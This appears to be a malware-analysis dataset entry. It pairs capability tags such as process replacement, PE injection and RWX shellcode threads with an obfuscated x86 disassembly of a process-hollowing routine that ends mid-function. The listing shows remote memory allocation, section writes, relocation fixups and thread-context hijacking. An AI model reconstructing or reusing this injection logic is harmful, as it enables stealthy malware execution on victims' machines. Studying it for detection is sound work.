Function at 0x1000ed60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x10083880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x10a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x109], al
mov dword [ebp - 0x110], 0x5d7c7b97
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x8074ea9d
je 0x1000fe03
jmp 0x1000edd3
mov eax, dword [ebp - 0x114]
sub eax, 0x831f8ef7
je 0x100109ec
jmp 0x1000ede9
mov eax, dword [ebp - 0x114]
sub eax, 0x84fa06fb
je 0x10010c7a
jmp 0x1000edff
mov eax, dword [ebp - 0x114]
sub eax, 0x8e03f282
je 0x100101ed
jmp 0x1000ee15
mov eax, dword [ebp - 0x114]
sub eax, 0x8e863ae9
je 0x10010de7
jmp 0x1000ee2b
mov eax, dword [ebp - 0x114]
sub eax, 0x90a1192a
je 0x1001143e
jmp 0x1000ee41
mov eax, dword [ebp - 0x114]
sub eax, 0x91c0599b
je 0x100110bd
jmp 0x1000ee57
mov eax, dword [ebp - 0x114]
sub eax, 0x95bafe90
je 0x1001000f
jmp 0x1000ee6d
mov eax, dword [ebp - 0x114]
sub eax, 0x960c508a
je 0x100107fe
jmp 0x1000ee83
mov eax, dword [ebp - 0x114]
sub eax, 0x9852f96d
je 0x1000f8ea
jmp 0x1000ee99
mov eax, dword [ebp - 0x114]
sub eax, 0x9b56ce7c
je 0x10010b50
jmp 0x1000eeaf
mov eax, dword [ebp - 0x114]
sub eax, 0x9ba7353d
je 0x10010ad6
jmp 0x1000eec5
mov eax, dword [ebp - 0x114]
sub eax, 0x9d336eed
je 0x100107b2
jmp 0x1000eedb
mov eax, dword [ebp - 0x114]
sub eax, 0xa16a21ac
je 0x1001044d
jmp 0x1000eef1
mov eax, dword [ebp - 0x114]
sub eax, 0xa3d111fd
je 0x100114b4
jmp 0x1000ef07
mov eax, dword [ebp - 0x114]
sub eax, 0xa418f499
je 0x100105a5
jmp 0x1000ef1d
mov eax, dword [ebp - 0x114]
sub eax, 0xa5b501a7
je 0x10010d5f
jmp 0x1000ef33
mov eax, dword [ebp - 0x114]
sub eax, 0xa91fd776
je 0x100108f8
jmp 0x1000ef49
mov eax, dword [ebp - 0x114]
sub eax, 0xa92d71cb
je 0x10010a3e
jmp 0x1000ef5f
mov eax, dword [ebp - 0x114]
sub eax, 0xa965c196
je 0x1001178f
jmp 0x1000ef75
mov eax, dword [ebp - 0x114]
sub eax, 0xaa76050e
je 0x10011594
jmp 0x1000ef8b
mov eax, dword [ebp - 0x114]
sub eax, 0xad8f1e16
je 0x1000faf4
jmp 0x1000efa1
mov eax, dword [ebp - 0x114]
sub eax, 0xaf0371b2
je 0x10010661
jmp 0x1000efb7
mov eax, dword [ebp - 0x114]
sub eax, 0xb06487f0
je 0x100116f7
jmp 0x1000efcd
mov eax, dword [ebp - 0x114]
sub eax, 0xb2ea4ea5
je 0x100109c0
jmp 0x1000efe3
mov eax, dword [ebp - 0x114]
sub eax, 0xb51fd79f
je 0x1000ff91
jmp 0x1000eff9
mov eax, dword [ebp - 0x114]
sub eax, 0xc21cc200
je 0x100112d2
jmp 0x1000f00f
mov eax, dword [ebp - 0x114]
sub eax, 0xc23a0743
je 0x10010718
jmp 0x1000f025
mov eax, dword [ebp - 0x114]
sub eax, 0xc295bf71
je 0x1000ff0c
jmp 0x1000f03b
mov eax, dword [ebp - 0x114]
sub eax, 0xc2ed72a3
je 0x10010fdc
jmp 0x1000f051
mov eax, dword [ebp - 0x114]
sub eax, 0xc3b02799
je 0x10011213
jmp 0x1000f067
mov eax, dword [ebp - 0x114]
sub eax, 0xc51ca7ee
je 0x100110ae
jmp 0x1000f07d
mov eax, dword [ebp - 0x114]
sub eax, 0xc844c882
je 0x10010941
jmp 0x1000f093
mov eax, dword [ebp - 0x114]
sub eax, 0xc84f393e
je 0x10011204
jmp 0x1000f0a9
mov eax, dword [ebp - 0x114]
sub eax, 0xc88acfe7
je 0x10011674
jmp 0x1000f0bf
mov eax, dword [ebp - 0x114]
sub eax, 0xc88fd605
je 0x10011829
jmp 0x1000f0d5
mov eax, dword [ebp - 0x114]
sub eax, 0xc9fd57e7
je 0x1000f9d5
jmp 0x1000f0eb
mov eax, dword [ebp - 0x114]
sub eax, 0xccab47d9
je 0x10011838
jmp 0x1000f101
mov eax, dword [ebp - 0x114]
sub eax, 0xcd787c76
je 0x10010c89
jmp 0x1000f117
mov eax, dword [ebp - 0x114]
sub eax, 0xcefc8ed3
je 0x100117a1
jmp 0x1000f12d
mov eax, dword [ebp - 0x114]
sub eax, 0xd1b9d8e7
je 0x1000ff1b
jmp 0x1000f143
mov eax, dword [ebp - 0x114]
sub eax, 0xd30569c1
je 0x1000fdc5
jmp 0x1000f159
mov eax, dword [ebp - 0x114]
sub eax, 0xd4a4e71b
je 0x10010af0
jmp 0x1000f16f
mov eax, dword [ebp - 0x114]
sub eax, 0xd4e29ee4
je 0x10011539
jmp 0x1000f185
mov eax, dword [ebp - 0x114]
sub eax, 0xd89a528b
je 0x100115d9
jmp 0x1000f19b
mov eax, dword [ebp - 0x114]
sub eax, 0xdf5b9be2
je 0x100113ac
jmp 0x1000f1b1
mov eax, dword [ebp - 0x114]
sub eax, 0xe1c2c23e
je 0x10011683
jmp 0x1000f1c7
mov eax, dword [ebp - 0x114]
sub eax, 0xe3e0d244
je 0x1000fbef
jmp 0x1000f1dd
mov eax, dword [ebp - 0x114]
sub eax, 0xe8da336b
je 0x10010572
jmp 0x1000f1f3
mov eax, dword [ebp - 0x114]
sub eax, 0xe93f6665
je 0x1001165f
jmp 0x1000f209
mov eax, dword [ebp - 0x114]
sub eax, 0xea9980cb
je 0x10010100
jmp 0x1000f21f
mov eax, dword [ebp - 0x114]
sub eax, 0xecb5a895
je 0x10010818
jmp 0x1000f235
mov eax, dword [ebp - 0x114]
sub eax, 0xf094b846
je 0x1001185c
jmp 0x1000f24b
mov eax, dword [ebp - 0x114]
sub eax, 0xf0dc545a
je 0x100112e1
jmp 0x1000f261
mov eax, dword [ebp - 0x114]
sub eax, 0xf1466ab8
je 0x10010f2f
jmp 0x1000f277
mov eax, dword [ebp - 0x114]
sub eax, 0xf1d26286
je 0x10010ecc
jmp 0x1000f28d
mov eax, dword [ebp - 0x114]
sub eax, 0xf1ed8f3f
je 0x100103ff
jmp 0x1000f2a3
mov eax, dword [ebp - 0x114]
sub eax, 0xf3ccd30a
je 0x100115a3
jmp 0x1000f2b9
mov eax, dword [ebp - 0x114]
sub eax, 0xf85c54eb
je 0x10010df6
jmp 0x1000f2cf
mov eax, dword [ebp - 0x114]
sub eax, 0xf8e7de31
je 0x10010e56
jmp 0x1000f2e5
mov eax, dword [ebp - 0x114]
sub eax, 0xf9b10682
je 0x10010b2b
jmp 0x1000f2fb
mov eax, dword [ebp - 0x114]
sub eax, 0xfccfe9ce
je 0x10011133
jmp 0x1000f311
mov eax, dword [ebp - 0x114]
sub eax, 0xfd7d5219
je 0x1001004d
jmp 0x1000f327
mov eax, dword [ebp - 0x114]
sub eax, 0xfe462642
je 0x1001042a
jmp 0x1000f33d
mov eax, dword [ebp - 0x114]
sub eax, 0xffbeb2b6
je 0x10010505
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa76050e
mov ecx, 0xc9fd57e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0xe38dbe8
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
mov edx, eax
sub edx, 0x435d0a6c
sub edx, 1
add edx, 0x435d0a6c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3ccd30a
mov ecx, 0x62d1f652
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov edx, dword [ebp - 0x98]
mov eax, 0x64835027
mov ecx, 0x4b13e4d1
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dl, byte [ebp - 0x91]
mov eax, 0x3541b0ec
mov ecx, 0x64b962c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x64b962c1
jmp 0x10011866
mov dword [ebp - 0x110], 0xd1b9d8e7
jmp 0x10011866
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
mov edx, ecx
add edx, 0x79671cba
sub edx, 1
sub edx, 0x79671cba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe93f6665
mov ecx, 0xb51fd79f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0x90]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8a], al
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe93f6665
mov ecx, 0x1f0ed768
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x110], 0xfd7d5219
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc88acfe7
mov ecx, 0x733e6bed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000e710
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x110], 0x63b7288f
jmp 0x10011866
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xefca8d2
jmp 0x10011866
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x110], 0xfe462642
jmp 0x10011866
mov eax, dword [ebp - 0x70]
movzx esi, word [eax]
mov edx, dword [ebp - 0x74]
mov eax, 0x960c508a
mov ecx, 0xa16a21ac
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xcc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x8212de6
add ecx, edx
add ecx, 0x8212de6
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
mov edi, dword [ebp - 0xcc]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x20
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x110], 0xffbeb2b6
jmp 0x10011866
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x110], 0xa418f499
jmp 0x10011866
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x68]
mov eax, 0xc23a0743
mov ecx, 0x32e16f48
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x5c]
sub eax, 0x3151f2c3
sub eax, ecx
add eax, 0x3151f2c3
mov ecx, dword [ebp - 0x60]
add ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
mov edx, ecx
add edx, 0xe932bdb3
sub edx, 1
sub edx, 0xe932bdb3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb06487f0
mov ecx, 0x5c86969f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
mov edx, eax
sub edx, 0xc39caedd
sub edx, 1
add edx, 0xc39caedd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a0ec195
mov ecx, 0x16e9846c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x4a637fbe
jmp 0x10011866
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x110], 0xecb5a895
jmp 0x10011866
mov edx, dword [ebp - 0x58]
mov eax, 0xf85c54eb
mov ecx, 0x107dbbcb
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6235e937
mov ecx, 0xc844c882
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x49], al
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
mov edx, eax
sub edx, 0x3347fdab
sub edx, 1
add edx, 0x3347fdab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6235e937
mov ecx, 0x5504583
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x57ff8725
jmp 0x10011866
mov edx, dword [ebp - 0x48]
mov eax, 0x8e863ae9
mov ecx, 0x6eed7741
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x63757229
sub ecx, eax
add ecx, 0x63757229
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov dword [ebp - 0x110], 0x5f9e6c34
jmp 0x10011866
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x110], 0xd4a4e71b
jmp 0x10011866
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xcd787c76
mov ecx, 0xf9b10682
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x110], 0x9b56ce7c
jmp 0x10011866
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
sub ecx, 0x59bdb01f
add ecx, eax
add ecx, 0x59bdb01f
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x9d62b3e2
add ecx, eax
sub ecx, 0x9d62b3e2
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x84fa06fb
mov ecx, 0x2513ecc1
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0xcd787c76
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
mov edx, eax
add edx, 0x2ae562aa
sub edx, 1
sub edx, 0x2ae562aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x515273de
mov ecx, 0xbbda48d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x110], 0x78c15ce5
jmp 0x10011866
mov dword [ebp - 0x110], 0xf85c54eb
jmp 0x10011866
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x110], 0xf8e7de31
jmp 0x10011866
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
mov edx, ecx
add edx, 0xdd098317
sub edx, 1
sub edx, 0xdd098317
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa965c196
mov ecx, 0xf1d26286
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0xac], 0
setne al
and al, 1
mov byte [ebp - 0x22], al
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
mov edx, eax
add edx, 0x403533bf
sub edx, 1
sub edx, 0x403533bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa965c196
mov ecx, 0xf1466ab8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dl, byte [ebp - 0x22]
mov eax, 0x91c0599b
mov ecx, 0x22a73cde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x110], 0x5f4a3ff7
jmp 0x10011866
mov dword [ebp - 0x110], 0x91c0599b
jmp 0x10011866
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x110], 0xb4c0a0d
jmp 0x10011866
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
mov edx, ecx
add edx, 0x2d031bc0
sub edx, 1
sub edx, 0x2d031bc0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcefc8ed3
mov ecx, 0xc84f393e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0xc3b02799
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc88fd605
mov ecx, 0x4c2aadb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0xf0dc545a
jmp 0x10011866
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xccab47d9
mov ecx, 0x5780a47d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x4d83d8c1
jmp 0x10011866
mov ecx, dword [0x10084d14]
mov eax, dword [0x10084d10]
mov edx, ecx
sub edx, 0xc655eaca
sub edx, 1
add edx, 0xc655eaca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc849ec4
mov ecx, 0xa3d111fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x55782649
jmp 0x10011866
mov eax, dword [0x10084d14]
mov ecx, dword [0x10084d10]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf094b846
mov ecx, 0x87b1296
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10011866
mov dword [ebp - 0x110], 0x9852f96d
jmp 0x10011866
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x110], 0x62d1f652
jmp 0x10011866
mov al, byte [ebp - 0x92]
mov dword [ebp - 0x110], 0x2e78d9f7
jmp 0x10011866
mov eax, dword [ebp - 0x90]
